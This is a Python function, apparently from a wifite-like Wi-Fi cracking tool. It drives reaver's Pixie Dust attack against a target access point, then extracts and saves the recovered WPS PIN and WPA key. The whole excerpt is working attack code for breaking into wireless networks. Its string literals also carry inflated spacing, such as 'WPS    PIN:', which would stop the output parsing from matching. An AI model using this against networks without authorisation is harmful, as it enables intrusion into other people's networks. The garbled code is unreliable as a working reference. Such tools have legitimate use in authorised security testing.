'Attempts "Pixie WPS" attack which certain vendors
susceptible to.'

def attack_wps_pixie(self):

    print (((GR + '    [0:00:00]') + W) + ('    initializing    %sWPS    Pixie    attack%s    on    %s' % (G, W, ((((((((G + self.target.ssid) + W) + '    (') + G) + self.target.bssid) + W) + ')') + W))))
    cmd = ['reaver', '-i', self.iface, '-b', self.target.bssid, '-o', (self.RUN_CONFIG.temp + 'out.out'), '-c', self.target.channel, '-s', 'n', '-K', '1', '-vv']
    errf = open((self.RUN_CONFIG.temp + 'pixie.out'), 'a')
    proc = Popen(cmd, stdout=errf, stderr=errf)
    cracked = False
    time_started = time.time()
    pin = ''
    key = ''
    try:
        while (not cracked):
            time.sleep(1)
            errf.flush()
            if (proc.poll() != None):
                errf.close()
                inf = open((self.RUN_CONFIG.temp + 'pixie.out'), 'r')
                lines = inf.read().split('\n')
                inf.close()
                for line in lines:
                    if (line.find("WPS    PIN:    '") != (-1)):
                        pin = line[(line.find("WPS    PIN:    '") + 10):(-1)]
                    if (line.find("WPA    PSK:    '") != (-1)):
                        key = line[(line.find("WPA    PSK:    '") + 10):(-1)]
                        cracked = True
                    if (('Pixie-Dust' in line) and ('WPS    pin    not    found' in line)):
                        print ('\r    %s    WPS    Pixie    attack%s    failed    -    WPS    pin    not    found                                                        %s' % (((GR + sec_to_hms((time.time() - time_started))) + G), R, W))
                        break
                break
            print ('\r    %s    WPS    Pixie    attack:' % ((GR + sec_to_hms((time.time() - time_started))) + G)),
            if (not os.path.exists((self.RUN_CONFIG.temp + 'out.out'))):
                continue
            inf = open((self.RUN_CONFIG.temp + 'out.out'), 'r')
            lines = inf.read().split('\n')
            inf.close()
            output_line = ''
            for line in lines:
                line = line.replace('[+]', '').replace('[!]', '').replace('\x00', '').strip()
                if ((line == '') or (line == '    ') or (line == ' DCTB ')):
                    continue
                if (len(line) > 50):
                    line = (line[0:47] + '...')
                output_line = line
            if ('Sending    M2    message' in output_line):
                print O, 'attempting    to    crack    and    fetch    psk...                                                                                            ', W,
            elif (output_line != ''):
                print C, output_line, W, ('    ' * (50 - len(output_line))),
            stdout.flush()
            inf = open((self.RUN_CONFIG.temp + 'out.out'), 'w')
            inf.close()
        if cracked:
            if (pin != ''):
                print (((GR + '\n\n    [+]') + G) + ('    PIN    found:                    %s' % ((C + pin) + W)))
            if (key != ''):
                print (GR + ('    [+]    %sWPA    key    found:%s    %s' % (G, W, ((C + key) + W))))
            self.RUN_CONFIG.WPA_FINDINGS.append((W + ('found    %s\'s    WPA    key:    "%s",    WPS    PIN:    %s' % (((G + self.target.ssid) + W), ((C + key) + W), ((C + pin) + W)))))
            self.RUN_CONFIG.WPA_FINDINGS.append('')
            t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
            t.key = key
            t.wps = pin
            self.RUN_CONFIG.save_cracked(t)
    except KeyboardInterrupt:
        print ((((R + '\n    (^C)') + O) + '    WPS    Pixie    attack    interrupted') + W)
        if attack_interrupted_prompt():
            send_interrupt(proc)
            print ''
            self.RUN_CONFIG.exit_gracefully(0)
    send_interrupt(proc)
    os.remove((self.RUN_CONFIG.temp + 'out.out'))
    os.remove((self.RUN_CONFIG.temp + 'pixie.out'))
    return cracked
